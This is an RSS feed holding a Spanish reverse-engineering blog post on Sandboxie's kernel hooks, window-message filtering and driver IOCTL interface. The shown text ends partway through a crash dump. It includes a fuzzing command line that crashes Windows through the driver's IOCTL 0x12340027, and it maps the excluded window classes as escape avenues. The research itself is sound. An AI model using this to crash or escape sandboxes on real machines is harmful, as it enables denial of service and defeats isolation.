<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>48Bits Blog &#187; Ingeniería inversa</title>
	<atom:link href="http://blog.48bits.com/category/ingenieria-inversa/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.48bits.com</link>
	<description>48Bits ... The one and a half architecture land.</description>
	<lastBuildDate>Thu, 19 Jan 2012 11:31:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Sandbox I. Sandboxie. Aislamiento de procesos mediante control de acceso a objetos en kernel.</title>
		<link>http://blog.48bits.com/2011/05/23/sandbox-i-sandboxie-aislamiento-de-procesos-mediante-control-de-acceso-a-objetos-en-kernel/</link>
		<comments>http://blog.48bits.com/2011/05/23/sandbox-i-sandboxie-aislamiento-de-procesos-mediante-control-de-acceso-a-objetos-en-kernel/#comments</comments>
		<pubDate>Mon, 23 May 2011 10:50:08 +0000</pubDate>
		<dc:creator>Javier Vicente Vallejo</dc:creator>
				<category><![CDATA[Ingeniería inversa]]></category>
		<category><![CDATA[Sandbox]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1874</guid>
		<description><![CDATA[0. Indice: 1. Introducción. 2. Diseño de Sandboxie. 3. Control de acceso a recursos. 3.1. El hookeo en objectos de \ObjectTypes. 3.2. Los hookeos en la ssdt y la shadow ssdt. 4. Los io controles. 5. Seguridad de Sandboxie. 5.1. Fuzzing de io controls. 5.2. Envío de mensajes a Shell_TrayWnd (ventana excluída por Sandboxie). 5.3. [...]]]></description>
			<content:encoded><![CDATA[<p><strong><span style="text-decoration: underline;">0. Indice:</span></strong></p>
<p><strong><span style="text-decoration: underline;"> </span></strong></p>
<ul>
<li><strong>1. Introducción.</strong></li>
<li><strong>2. Diseño de Sandboxie.</strong></li>
<li><strong>3. Control de acceso a recursos.</strong>
<ul>
<li><strong>3.1. El hookeo en objectos de \ObjectTypes.</strong></li>
</ul>
<ul>
<li><strong>3.2. Los hookeos en la ssdt y la shadow ssdt.</strong></li>
</ul>
</li>
<li><strong> </strong><strong>4. Los io controles.</strong></li>
<li><strong> </strong><strong>5. Seguridad de Sandboxie.</strong>
<ul>
<li><strong>5.1. Fuzzing de io controls.</strong></li>
</ul>
<ul>
<li><strong>5.2. Envío de mensajes a </strong><strong>Shell_TrayWnd (ventana excluída por Sandboxie).</strong></li>
</ul>
<ul>
<li><strong>5.3. Nombres largos.</strong></li>
</ul>
<ul>
<li><strong>5.4. Parseo de formatos complejos.</strong></li>
</ul>
<ul>
<li><strong>5.5. Conclusión.</strong></li>
</ul>
</li>
</ul>
<p><strong><span style="text-decoration: underline;">1. Introducción:</span></strong></p>
<p><strong> </strong></p>
<p>En este artículo voy a hablar de Sandboxie, una sandbox que realiza aislamiento de procesos y cuyos pilares son:</p>
<p style="padding-left: 30px;">-El control de acceso a objetos en kernel mediante hooks directos en las estructuras de los mismos objetos.</p>
<p style="padding-left: 30px;">-Algunos hookeos en la ssdt y la shadow ssdt para control de mensajes a ventanas de procesos no sandboxeados.</p>
<p style="padding-left: 30px;">-Algunos callbacks registrados en el sistema para control de creación de procesos, imágenes cargadas, etc…</p>
<p>Hablaré un poco del diseño de la sandbox, las técnicas que usa para “construir la celda”, y lo fiable o no que, bajo mi punto de vista, pueden llegar a ser este tipo de sandbox.</p>
<p><span id="more-1874"></span></p>
<p><strong><span style="text-decoration: underline;">2. Diseño de Sandboxie:</span></strong></p>
<p><strong><span style="text-decoration: underline;"> </span></strong></p>
<p>Aunque sandboxie consta de la aplicación que hace de interfaz, un servicio, etc&#8230; Y otros componentes, en relación con la sandbox sólo nos interesan el driver (sbiedrv.sys) y la dll que inyecta en todos los procesos sandboxeados (sbiedll.dll).</p>
<p><img class="alignnone" title="Diseño Sandboxie" src="http://blog.48bits.com/wp-content/uploads/2011/05/sandboxie_design.jpg" alt="" width="602" height="744" /></p>
<p>A grandes rasgos Sandboxie funciona de la siguiente manera:</p>
<p>El driver de Sandboxie <strong>hookea todo lo necesario en kernel para proteger los recursos que quiere proteger de los procesos sandboxeados</strong>.</p>
<p>El driver pone además un <strong>callback con PsLoadImageNotifyRoutine y PsCreateProcessNotifyRoutine</strong> para ser notificado cuando se carga una imagen en un proceso y cuando se crea un proceso. El driver <strong>mantiene una lista de procesos sandboxeados en kernel</strong>, y gracias a estos callbacks puede mantener actualizadas las listas de los procesos sanboxeados. Lo que hace es comprobar <strong>si el padre del proceso creado es sandboxeado</strong>, y si lo es, <strong>el hijo pasa a la lista también</strong> (también es posible mediante io controles indicar que un proceso debe pasar a considerarse sandboxeado. Esto es necesario para lanzar procesos sandboxeados desde la interfaz de usuario de Sandboxie).</p>
<p>El driver no se complica la vida en el control de acceso a recursos protegidos: <strong>si es un proceso sandboxeado deniega el acceso a cualquier recurso protegido, si no es sandboxeado, lo permite.</strong></p>
<p>Sin embargo cuando manejamos Sandboxie  vemos que permite el acceso a algunos recursos protegidos desde los procesos sandboxeados. Además crea un sistema de archivos, entradas de registro, etc… paralelos para cada sandbox manejada.</p>
<p>Para controlar esto <strong>el driver de Sandboxie exporta una serie de io controls</strong>. Exporta mucha funcionalidad mediante estos io controls, y <strong>algunos de ellos sirven para acceder a los recursos protegidos desde los procesos sandboxeados, pero de una manera controlado</strong> (discriminando a qué tiene acceso y a qué no, el proceso sandboxeado).</p>
<p>Aquí es donde entra en juego la dll <strong>SbieDll que entre otras cosas hookea todas las exports en todas las dlls de cada proceso sandboxeado</strong>.</p>
<p>Esta dll es fundamental para que el proceso sandboxeado funcione correctamente ya que <strong>en el hook de ciertas apis conocidas (ZwCreateFile, ZwCreateProcess, ZwOpenKey, etc…) la dll corta el flujo normal hacía kernel para redirigirlo hacía los io controles del driver donde se realizará un acceso a los recursos protegidos de manera controlada </strong>(una pequeña prueba que demuestra esto es que si quitamos con HookShark por ejemplo todos los hooks de modo usuario se nos queda un proceso sandboxeado sin acceso a nada, porque el driver lo deniega todo).</p>
<p><strong><span style="text-decoration: underline;">3. Control de acceso a recursos:</span></strong></p>
<p>No se si se me ha escapado algo de lo que SbieDrv intercepta en kernel. <strong>Los principales hookeos</strong> que he visto que realiza son:</p>
<p><strong>En los objetos token, process, thread, event, section, port y semaphore, de tipo Type, que cuelgan de \ObjectTypes</strong>, hookean el puntero a función de tipo OB_OPEN_METHOD para controlar el acceso a este tipo de objetos:</p>
<p><strong>OBJECT_TYPE -&gt;OBJECT_TYPE_INITIALIZER-&gt; OpenProcedure</strong></p>
<p>Sólo con esto puede <strong>controlar el acceso a disco, registro, etc…</strong></p>
<p>Pero todavía necesita <strong>controlar todo el tema de ventanas</strong>, que lo maneja win32k.sys: debe cortar el envío de mensajes de las ventanas de aplicaciones sandboxeadas a las ventanas de las no sandboxeadas, debe evitar que las aplicaciones sandboxeadas puedan registrar Windows hooks, etc…</p>
<p>Para poder hacer esto SbieDrv necesita interceptar <strong>algunas funciones de la ssdt y la shadow ssdt:</strong></p>
<h5 style="padding-left: 30px;"><span style="color: #888888;"><strong>win32k_NtUserCallHwndParamLock<br />
</strong><strong>win32k_NtUserDestroyWindow<br />
</strong><strong>win32k_NtUserShowWindow<br />
</strong><strong>win32k_NtUserSendInput<br />
</strong><strong>win32k_NtUserBlockInput<br />
</strong><strong>win32k_NtUserSystemParametersInfo<br />
</strong><strong>win32k_NtUserSetSysColors<br />
</strong><strong>win32k_NtUserSetSystemCursor<br />
</strong><strong>win32k_NtUserMessageCall<br />
</strong><strong>win32k_NtUserPostMessage<br />
</strong><strong>win32k_NtUserPostThreadMessage<br />
</strong><strong>win32k_NtUserSetWindowsHookEx<br />
</strong><strong>win32k_NtUserSetWinEventHook<br />
</strong><strong>nt_NtRequestPort<br />
</strong><strong>nt_NtRequestWaitReplyPort<br />
</strong><strong>nt_NtTraceEvent</strong></span></h5>
<p><strong><span style="text-decoration: underline;">3.1. El hookeo en objectos de \ObjectTypes:</span></strong></p>
<p>Vamos a ver primero como son estos objetos que cuelgan del <strong>directorio</strong> <strong>ObjectTypes</strong>. Tomamos para el ejemplo el objeto \ObjectTypes\Token:</p>
<h5 style="padding-left: 30px;"><span style="color: #888888;"><strong>WINDBG&gt;!object \ObjectTypes<br />
</strong>Object: e1000548  Type: (819f1418) <strong>Directory<br />
</strong>ObjectHeader: e1000530 (old version)<br />
HandleCount: 0  PointerCount: 25<br />
Directory Object: e1001520  Name: ObjectTypes</p>
<p>Hash Address  Type          Name<br />
&#8212;- &#8212;&#8212;-  &#8212;-          &#8212;-<br />
00  819f1418 Type          Directory<br />
01  819ccca0 Type          Thread<br />
819c95e0 Type          Mutant<br />
03  8198cca0 Type          FilterCommunicationPort<br />
05  819b8e70 Type          Controller<br />
07  819c8ca0 Type          Profile<br />
819c9980 Type          Event<br />
819f15e8 Type          Type<br />
09  819c8560 Type          Section<br />
819c97b0 Type          EventPair<br />
819f1248 Type          SymbolicLink<br />
10  819c8730 Type          Desktop<br />
11  819c8e70 Type          Timer<br />
12  819b8730 Type          File<br />
819c8900 Type          WindowStation<br />
16  819b8ad0 Type          Driver<br />
18  819eb910 Type          WmiGuid<br />
819c8ad0 Type          KeyedEvent<br />
<strong> 19  819cc040 Type          Token<br />
</strong>819b8ca0 Type          Device<br />
20  819cc408 Type          DebugObject<br />
21  819b8900 Type          IoCompletion<br />
22  819cce70 Type          Process<br />
24  819f0300 Type          Adapter<br />
26  819c5980 Type          Key<br />
28  819ccad0 Type          Job<br />
31  819f0708 Type          WaitablePort<br />
819f08d8 Type          Port<br />
32  819c9410 Type          Callback<br />
33  8198ce70 Type          FilterConnectionPort<br />
34  819c8040 Type          Semaphore</p>
<p><strong>WINDBG&gt;!object 819cc040<br />
</strong>Object: 819cc040  Type: (819f15e8) <strong>Type<br />
</strong>ObjectHeader: 819cc028 (old version)<br />
HandleCount: 0  PointerCount: 1<br />
Directory Object: e1000548  Name: <strong>Token<br />
</strong></p>
<p><strong>WINDBG&gt;dt _OBJECT_TYPE 819cc040<br />
</strong>ntdll!_OBJECT_TYPE<br />
+0&#215;000 Mutex            : _ERESOURCE<br />
+0&#215;038 TypeList         : _LIST_ENTRY [ 0x819cc078 - 0x819cc078 ]<br />
+0&#215;040 Name             : _UNICODE_STRING &#8220;Token&#8221;<br />
+0&#215;048 DefaultObject    : 0x80558cc0<br />
+0x04c Index            : 4<br />
+0&#215;050 TotalNumberOfObjects : 0x1a<br />
+0&#215;054 TotalNumberOfHandles : 0&#215;10<br />
+0&#215;058 HighWaterNumberOfObjects : 0x1d<br />
+0x05c HighWaterNumberOfHandles : 0&#215;14<br />
<strong> +0&#215;060 TypeInfo         : _OBJECT_TYPE_INITIALIZER<br />
</strong>+0x0ac Key              : 0x656b6f54<br />
+0x0b0 ObjectLocks      : [4] _ERESOURCE<br />
Como vemos de \ObjectTypes cuelgan varios objetos de tipo Type. La estructura de estos objetos es de tipo _OBJECT_TYPE.</p>
<p></span></h5>
<p>Dentro de esta estructura _OBJECT_TYPE nos interesa especialmente <strong>OBJECT_TYPE_INITIALIZER</strong> porque dentro de esta subestructura vamos a tener los punteros a los callbacks que son llamados cuando se abre, cierra, etc… los objetos de este tipo.</p>
<h5 style="padding-left: 30px;"><span style="color: #888888;">typedef struct _OBJECT_TYPE_INITIALIZER {<br />
USHORT Length;   2 bytes<br />
BOOLEAN UseDefaultObject; 1 byte<br />
BOOLEAN Reserved; 1 byte<br />
ULONG InvalidAttributes; 4 bytes<br />
GENERIC_MAPPING GenericMapping; 16 bytes<br />
ULONG ValidAccessMask; 4 bytes<br />
BOOLEAN SecurityRequired; 1 byte<br />
BOOLEAN MaintainHandleCount; 1 byte<br />
BOOLEAN MaintainTypeList; 1 byte<br />
POOL_TYPE PoolType; 1 byte<br />
ULONG ObjectTypeCode; 4 bytes //-&gt; depende de la versión del sistema operativo,<br />
//de esto depende que se acceda a +30h<br />
//o a +34h para buscar el puntero para hookear<br />
ULONG DefaultPagedPoolCharge; 4 bytes<br />
ULONG DefaultNonPagedPoolCharge; 4 bytes<br />
//&#8212;&#8212;<br />
OB_DUMP_METHOD DumpProcedure; 4 bytes<br />
<strong> OB_OPEN_METHOD OpenProcedure; 4 bytes<br />
</strong>OB_CLOSE_METHOD CloseProcedure; 4 bytes<br />
OB_DELETE_METHOD DeleteProcedure; 4 bytes<br />
OB_PARSE_METHOD ParseProcedure; 4 bytes<br />
OB_SECURITY_METHOD SecurityProcedure; 4 bytes<br />
OB_QUERYNAME_METHOD QueryNameProcedure; 4 bytes<br />
OB_OKAYTOCLOSE_METHOD OkayToCloseProcedure; 4 bytes<br />
//&#8212;&#8212;<br />
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;</span></h5>
<p>Dependiendo de la versión del sistema operativo esta estructura tiene un campo más o no (el campo ObjectTypeCode). SbieDrv tiene en cuenta este detalle para hookear correctamente el puntero OpenProcedure en todas las versiones que soporta.</p>
<p>Este puntero es de tipo <strong>OB_OPEN_METHOD</strong>:</p>
<h5 style="padding-left: 30px;"><span style="color: #888888;"><strong>typedef NTSTATUS<br />
</strong><strong>(NTAPI *OB_OPEN_METHOD)(<br />
</strong><strong> IN OB_OPEN_REASON Reason,<br />
</strong><strong> IN PEPROCESS Process OPTIONAL,<br />
</strong><strong> IN PVOID ObjectBody,<br />
</strong><strong> IN ACCESS_MASK GrantedAccess,<br />
</strong><strong> IN ULONG HandleCount<br />
</strong><strong>);</strong></span></h5>
<p>Este callback es llamado cuando se abre un objeto del tipo en el que se hookea. En este caso cuando se abra un objeto de tipo Token se llamará a este callback, y aquí es posible controlar la apertura de dicho objeto.</p>
<p>Como hemos dicho SbieDrv hookea el callback OpenProcedure para los objetos de tipo <strong>token, process, thread, event, section, port y semaphore. </strong>Aquí vemos como SbieDrv llama a la función que realiza todo el hookeo con el nombre de cada objeto y el puntero para el hook de éste:</p>
<p><img class="alignnone" title="hook token" src="http://blog.48bits.com/wp-content/uploads/2011/05/hookeo_token_process.jpg" alt="" width="570" height="736" /></p>
<p>Vemos como comprueba la versión y el build del sistema operativo para calcular los offsets dentro de las estructuras del objeto donde encontrar el OpenProcedure.</p>
<h5 style="padding-left: 30px;"><span style="color: #888888;">&#8212;&#8212;<br />
Si version &lt; 4:<br />
Si BuildNumber &lt;= 1770h:<br />
OpenProcedureOffset = pTypeObjHeader+30h+60h<br />
Sino:<br />
OpenProcedureOffset = pTypeObjHeader+30h+28h<br />
Sino:<br />
Si BuildNumber &lt;= 1770h:<br />
OpenProcedureOffset = pTypeObjHeader+30h+60h<br />
Sino:<br />
OpenProcedureOffset = pTypeObjHeader+34h+28h<br />
&#8212;&#8212;</span></h5>
<p><img class="alignnone" title="hook OpenProcedure" src="http://blog.48bits.com/wp-content/uploads/2011/05/hookeo_openprocedure.jpg" alt="" width="835" height="737" /></p>
<p>Para el hookeo utiliza una pieza de código que escribe en memoria del sistema operativo, seguramente porque el sistema operativo controla que estos punteros apunten a memoria suya. <strong>Las piezas de código con las que hookea</strong> son siempre así:</p>
<p><img class="alignnone" title="hook code" src="http://blog.48bits.com/wp-content/uploads/2011/05/codigohookeo.jpg" alt="" width="904" height="432" /></p>
<p>Esta función que he nombrado “ComprobarProcessIdEnListaDeSandboxeadosObtenerEstructura” busca en las listas de procesos sandboxeados el processid que se le pasa. Si se le pasa cero busca el current process. Como vemos en <strong>el trozo que usa para hookear siempre comprueba si el proceso actual es sandboxeado. Si no lo es, deja acceder. Si lo es, pasa a llamar a una función específica del tipo de objeto accedido</strong> (una para Token, otra para Process, etc…), pero en este punto ya ha decidido cortar el acceso al objeto (el proceso tendrá que acceder a estos objetos usando los io controles de SbieDrv).</p>
<p><strong> </strong></p>
<p>En la imagen a continuación vemos el punto donde SbieDrv compone el bloque de código para el hookeo y el punto donde escribe el puntero en la estructura de kernel.</p>
<p><img class="alignnone" title="hook OpenProcedure" src="http://blog.48bits.com/wp-content/uploads/2011/05/hookeo_openprocedure2.jpg" alt="" width="811" height="1342" /></p>
<p><strong><span style="text-decoration: underline;">3.2. Los hookeos en la ssdt y la shadow ssdt:</span></strong></p>
<p>Como hemos dicho antes Sandboxie hookea las siguientes apis:</p>
<h5 style="padding-left: 30px;"><span style="color: #888888;"><strong>win32k_NtUserCallHwndParamLock<br />
</strong><strong>win32k_NtUserDestroyWindow<br />
</strong><strong>win32k_NtUserShowWindow<br />
</strong><strong>win32k_NtUserSendInput<br />
</strong><strong>win32k_NtUserBlockInput<br />
</strong><strong>win32k_NtUserSystemParametersInfo<br />
</strong><strong>win32k_NtUserSetSysColors<br />
</strong><strong>win32k_NtUserSetSystemCursor<br />
</strong><strong>win32k_NtUserMessageCall<br />
</strong><strong>win32k_NtUserPostMessage<br />
</strong><strong>win32k_NtUserPostThreadMessage<br />
</strong><strong>win32k_NtUserSetWindowsHookEx<br />
</strong><strong>win32k_NtUserSetWinEventHook<br />
</strong><strong>nt_NtRequestPort<br />
</strong><strong>nt_NtRequestWaitReplyPort<br />
</strong><strong>nt_NtTraceEvent</strong></span></h5>
<p>La mayoría están relacionadas con el control de mensajes de ventana a las aplicaciones sandboxeadas. Vamos a analizar por ejemplo el hook a win32k_NtUserMessageCall:</p>
<p><img class="alignnone" title="hook mensajes" src="http://blog.48bits.com/wp-content/uploads/2011/05/hookmensajes.jpg" alt="" width="613" height="561" /></p>
<p>En varias de las apis interceptadas hay que gestionar un mensaje de ventana enviado a una ventana concreta. SbieDrv tiene una <strong>función común que hace esta gestión, la que he nombrado Hook_Win32k_Gestiona_MensajeDeVentana</strong>:</p>
<p><img class="alignnone" title="gestión mensajes" src="http://blog.48bits.com/wp-content/uploads/2011/05/gestionmensajes.jpg" alt="" width="842" height="740" /></p>
<p>Esta función va comprobando el mensaje y sus parámetros para decidir qué mensajes permite enviar a las aplicaciones sandboxeadas y cuáles no. La función Hook_Win32k_Gestiona_MensajeDeVentana actúa de esta manera:</p>
<p style="padding-left: 30px;">-Primero obtiene el id del proceso que envía y el que recibe el mensaje. <strong>Si el proceso que envía y el que recibe es el mismo, deja pasar el msg</strong>.</p>
<p style="padding-left: 30px;">-Sino, comprueba <strong>si el receptor es un sandboxeado</strong>. Si lo es, <strong>deja pasar el mensaje</strong>.</p>
<p style="padding-left: 30px;">-A continuación comprueba <strong>si el msg es 0x3e4</strong> y si lo es <strong>lo deja pasar</strong>.</p>
<p style="padding-left: 30px;">- Luego obtiene el nombre de la clase de la ventana objetivo. Tiene una lista de nombres de <strong>clases de ventanas que deben ser tratadas como excepciones</strong> para las cuales se permiten algunos mensajes adicionales:</p>
<h5 style="padding-left: 60px;"><span style="color: #888888;"><strong>TrayNotifyWnd<br />
</strong><strong>SystemTray_Main<br />
</strong><strong>Connections Tray<br />
</strong><strong>MS_WebcheckMonitor<br />
</strong><strong>PrintTray_Notify_WndClass<br />
</strong><strong>CicLoaderWndClass<br />
</strong><strong>CicMarshalWndClass<br />
</strong><strong>Logitech Wingman Internal Message Router<br />
</strong><strong>devldr<br />
</strong><strong>CTouchPadSynchronizer<br />
</strong><strong>Type32_Main_Window<br />
</strong><strong>TForm_AshampooFirewall<br />
</strong><strong>WinVNC desktop sink<br />
</strong><strong>Afx:400000:0<br />
</strong><strong>NVIDIA TwinView Window<br />
</strong><strong>Shell_TrayWnd</strong></span></h5>
<p style="padding-left: 30px;">Seguramente necesite meter estas excepciones para el funcionamiento correcto de algunas aplicaciones típicas: explorer, navegadores, etc…</p>
<p><img class="alignnone" title="ventanas excluídas" src="http://blog.48bits.com/wp-content/uploads/2011/05/ventanasexcluidas.jpg" alt="" width="500" height="436" /></p>
<p style="padding-left: 30px;">-Si el mensaje no es para un proceso de la sandbox, y el que envía sí es un proceso de la sandbox, si la ventana objetivo no es una de las dichas anteriormente, sale directamente prohibiendo el envío del mensaje.</p>
<p style="padding-left: 30px;">-<strong>Para todas las clases de ventanas que son excepciones</strong> primero comprueba si el mensaje es de tipo WM_USER (0&#215;400) o mayor. Si es por debajo de 0&#215;400, comprueba contra la siguiente <strong>lista de mensajes inválidos</strong> para estas clases de ventanas conocidas:</p>
<h5 style="padding-left: 60px;"><span style="color: #888888;"><strong>2h – WM_DESTROY<br />
</strong><strong>0Bh &#8211; WM_SETREDRAW<br />
</strong><strong>10h &#8211; WM_CLOSE<br />
</strong><strong>11h &#8211; WM_QUERYENDSESSION<br />
</strong><strong>12h &#8211; WM_QUIT<br />
</strong><strong>16h &#8211; WM_ENDSESSION<br />
</strong><strong>3Bh -<br />
</strong><strong>4Eh &#8211; WM_NOTIFY<br />
</strong><strong>82h &#8211; WM_NCDESTROY<br />
</strong><strong>111h &#8211; WM_COMMAND<br />
</strong><strong>112h &#8211; WM_SYSCOMMAND<br />
</strong><strong>319h</strong></span></h5>
<p style="padding-left: 30px;">-<strong>Si no es ninguno de los anteriores ids, sale dejando pasar el mensaje.</strong></p>
<p style="padding-left: 30px;">-Si es un mensaje por arriba de 0&#215;400, según la clase de ventana que sea, deja pasar unos u otros. Por ejemplo para Shell_TrayWnd deja pasar el id de msg 0x4ec.</p>
<p style="padding-left: 30px;">
<p><strong><span style="text-decoration: underline;">4. Los io controles:</span></strong></p>
<p><strong><span style="text-decoration: underline;"> </span></strong></p>
<p>Sandboxie crea el siguiente device:</p>
<p style="padding-left: 30px;"><strong>\device\SandboxieDriverApi</strong></p>
<p><strong> </strong></p>
<p>Para enviar io controles a Sandboxie él espera que sean:</p>
<p style="padding-left: 30px;">DeviceType = FILE_DEVICE_UNKNOWN = 0&#215;00000022</p>
<p style="padding-left: 30px;">Function = 0&#215;801</p>
<p style="padding-left: 30px;">Method = METHOD_NEITHER</p>
<p style="padding-left: 30px;">Access = 0</p>
<p style="padding-left: 30px;"><strong> </strong></p>
<p style="padding-left: 30px;"><strong>CTL_CODE(0&#215;00000022, 0&#215;801, METHOD_NEITHER, 0);</strong></p>
<p style="padding-left: 30px;"><strong> </strong></p>
<p>Por lo tanto el driver accede desde kernel a un buffer en user mode para recuperar los parámetros del io control. El formato de dicho buffer depende de la operación que se le solicite. Este buffer en zona de usuario tiene que tener un tamaño entre 0&#215;8 y 0&#215;40 bytes. El primer DWORD siempre es un valor 0x123400XX, que son los ids de las distintas operaciones que ofrece SbieDrv a través de sus io controles. SbieDrv tiene asociada una función a cada id soportado para gestionar el io control.</p>
<p>A continuación los io controles soportados.</p>
<p><img class="alignnone" title="io controles" src="http://blog.48bits.com/wp-content/uploads/2011/05/iocontroles.jpg" alt="" width="690" height="685" /></p>
<h5 style="padding-left: 30px;"><span style="color: #888888;"><strong>0&#215;12340001:<br />
</strong><strong>[0x12340001][XXXXXXXX][ptr zona mem usuario out]<br />
</strong>Este ioctl guarda en el puntero en zona de usuario la cadena de versión de sandboxie.<br />
<strong>0&#215;12340002:<br />
</strong><strong>[0x12340002][XXXXXXXX][XXXXXXXX][XXXXXXXX][ptr zona mem usuario out] [XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX]<br />
</strong>Pedir lista de procesos sandboxeados.<br />
<strong>0&#215;12340003:<br />
</strong>Petición de escritura de fichero.<br />
<strong>0&#215;12340007:<br />
</strong><strong>[0x12340007][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][ptr zona mem usuario]<br />
</strong><strong>0&#215;12340008:<br />
</strong><strong>[0x12340008][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX] [XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][ptr mem usr][XXXXXXXX][ptr mem usr][XXXXXXXX][ptr mem usr]<br />
</strong><strong>0&#215;12340009: </strong>Obtener objecto proceso a partir de pid<br />
<strong>0x1234000a<br />
</strong><strong>0x1234000b: </strong>Parece que sirve para pedir información de procesos sandboxeados.<br />
El proceso sbiectrl.exe está constantemente mandando los códigos 0x1234000b, 0x1234000c y 0&#215;12340002 al driver.<br />
<strong>0x1234000c: </strong>Parece que pregunta al driver la fecha y hora.<br />
<strong>0x1234000d:</strong> Con este iocontrol se pide que el driver desproteja una dirección en modo usuario para luego meterle el jump del hook. Así hookea sbiedll (en la rva 0xe7a9) en modo usuario.<br />
<strong>[0x1234000D][XXXXXXXX][ptr funcion modo usuario][XXXXXXXX][ptr memoria usuario info hook]<br />
</strong><strong>0x1234000f</strong>: Sirve para consultar una opción de una sandbox. Algunas opciones de sandboxie:<br />
DisableBoxedWinSxS<br />
InjectDll<br />
AutoExec<br />
OpenProtectedStorage<br />
OpenCredentials<br />
OpenWinClass<br />
NoRenameWinClass<br />
BoxNameTitle<br />
ClsidTrace<br />
OpenClsid<br />
StartService<br />
StartProgram<br />
AutoRecover<br />
RecoverFolder -&gt; para recuperar todas las carpetas de autorecover<br />
AutoRecoverIgnore<br />
<strong>0&#215;12340010: </strong>Con este iocontrol se le pide al driver que se actualice con los datos de los ini: sandboxie.ini y templates.ini. El propio driver se pone a parsear los ini.<br />
<strong>0&#215;12340011<br />
</strong><strong>0&#215;12340015<br />
</strong><strong>0&#215;12340016: </strong>En este iocontrol se hookean las funciones de ntoskrnl.exe y de win32k.sys (de la ssdt y la shadow).<br />
<strong>0&#215;12340019<br />
</strong><strong>0x1234001e<br />
</strong><strong>0x1234001f: </strong>Relacionado con los accesos a disco.<br />
<strong>0&#215;12340021<br />
</strong><strong>0&#215;12340024<br />
</strong><strong>0&#215;12340025<br />
</strong><strong>0&#215;12340026<br />
</strong><strong>0&#215;12340028<br />
</strong><strong>0x1234002b: </strong>Obtener handle a proceso.</span></h5>
<p><span style="color: #888888;"><strong> </strong></span></p>
<p><span style="color: #888888;"><strong> </strong></span></p>
<p><span style="color: #888888;"><strong> </strong></span></p>
<p><span style="color: #888888;"><strong> </strong></span></p>
<p><span style="color: #888888;"><strong> </strong></span></p>
<p><span style="color: #888888;"><strong> </strong></span></p>
<p><strong><span style="text-decoration: underline;">5. Seguridad de Sandboxie:</span></strong></p>
<p><strong><span style="text-decoration: underline;"> </span></strong></p>
<p>Primero vamos a ver algunos detalles y a hacer algunas pruebas relacionadas con este tema.</p>
<p><strong><span style="text-decoration: underline;">5.1. Fuzzing de io controls:</span></strong></p>
<p><strong><span style="text-decoration: underline;"> </span></strong></p>
<p>SandBoxie exporta varios io controles con mucha funcionalidad necesaria para su funcionamiento, tanto a procesos sandboxeados como no sandboxeados.</p>
<p>No he entrado muy en detalle en el fuzzing de los io controles, sólo una pequeña prueba realizada con <strong>Kartoffel </strong>(<a href="http://kartoffel.reversemode.com">kartoffel.reversemode.com</a>). Llamamos a Kartoffel con esta <strong>línea de comandos</strong>:</p>
<p><strong><span style="color: #888888;">FOR %%A IN (0 1 2) DO FOR %%B IN (0 1 2 3 4 5 6 7 8 9 A B C D E F) DO Kartoffel -d \device\SandboxieDriverApi -n 0&#215;40 -o 0&#215;40 -z 0&#215;40 -Z 0&#215;40 -I 0&#215;222007 -u CUSTOM,&#8221;[P=0x123400%%A%%B::*0][B=0x41::*0x3c$4][!!]&#8220;</span></strong></p>
<p>Con esta orden vamos a enviar a io controles con id desde 0&#215;12340001 hasta 0x1234002f, seguidos por un buffer lleno de ‘A’. Todo junto tiene un tamaño de 0&#215;40 (el máximo soportado por Sandboxie).</p>
<p><strong><span style="color: #888888;">[0x123400XX][AAAAAAAAAAAAAAAAAAAAAAA…]</span></strong></p>
<p>Al lanzar este simple fuzzeo, cuando llega al id <strong>0&#215;12340027</strong> salta un <strong>bug check</strong>:</p>
<h5><span style="color: #888888;">WINDBG&gt;!analyze -v<br />
*******************************************************************************<br />
* *<br />
* Bugcheck Analysis *<br />
* *<br />
*******************************************************************************<br />
DRIVER_CORRUPTED_MMPOOL (d0)<br />
Arguments:<br />
<strong>Arg1: 6b757a74, memory referenced<br />
</strong><strong>Arg2: 00123400, IRQL<br />
</strong><strong>Arg3: 00000000, value 0 = read operation, 1 = write operation<br />
</strong><strong>Arg4: 12340027, address which referenced memory<br />
</strong>An attempt was made to access a pageable (or completely invalid) address at an<br />
interrupt request level (IRQL) that is too high. This is<br />
caused by drivers that have corrupted the system pool. Run the driver<br />
verifier against any new (or suspect) drivers, and if that doesn&#8217;t turn up<br />
the culprit, then use gflags to enable special pool. You can also set<br />
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ProtectNonPagedPool<br />
to a DWORD 1 value and reboot. Then the system will unmap freed nonpaged pool,<br />
preventing drivers (although not DMA-hardware) from corrupting the pool.<br />
Debugging Details:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
*************************************************************************<br />
*** ***<br />
*** ***<br />
*** Your debugger is not using the correct symbols ***<br />
*** ***<br />
*** In order for this command to work properly, your symbol path ***<br />
*** must point to .pdb files that have full type information. ***<br />
*** ***<br />
*** Certain .pdb files (such as the public OS symbols) do not ***<br />
*** contain the required information. Contact the group that ***<br />
*** provided you with these symbols if you need this command to ***<br />
*** work. ***<br />
*** ***<br />
*** Type referenced: kernel32!pNlsUserInfo ***<br />
*** ***<br />
*************************************************************************<br />
*************************************************************************<br />
*** ***<br />
*** ***<br />
*** Your debugger is not using the correct symbols ***<br />
*** ***<br />
*** In order for this command to work properly, your symbol path ***<br />
*** must point to .pdb files that have full type information. ***<br />
*** ***<br />
*** Certain .pdb files (such as the public OS symbols) do not ***<br />
*** contain the required information. Contact the group that ***<br />
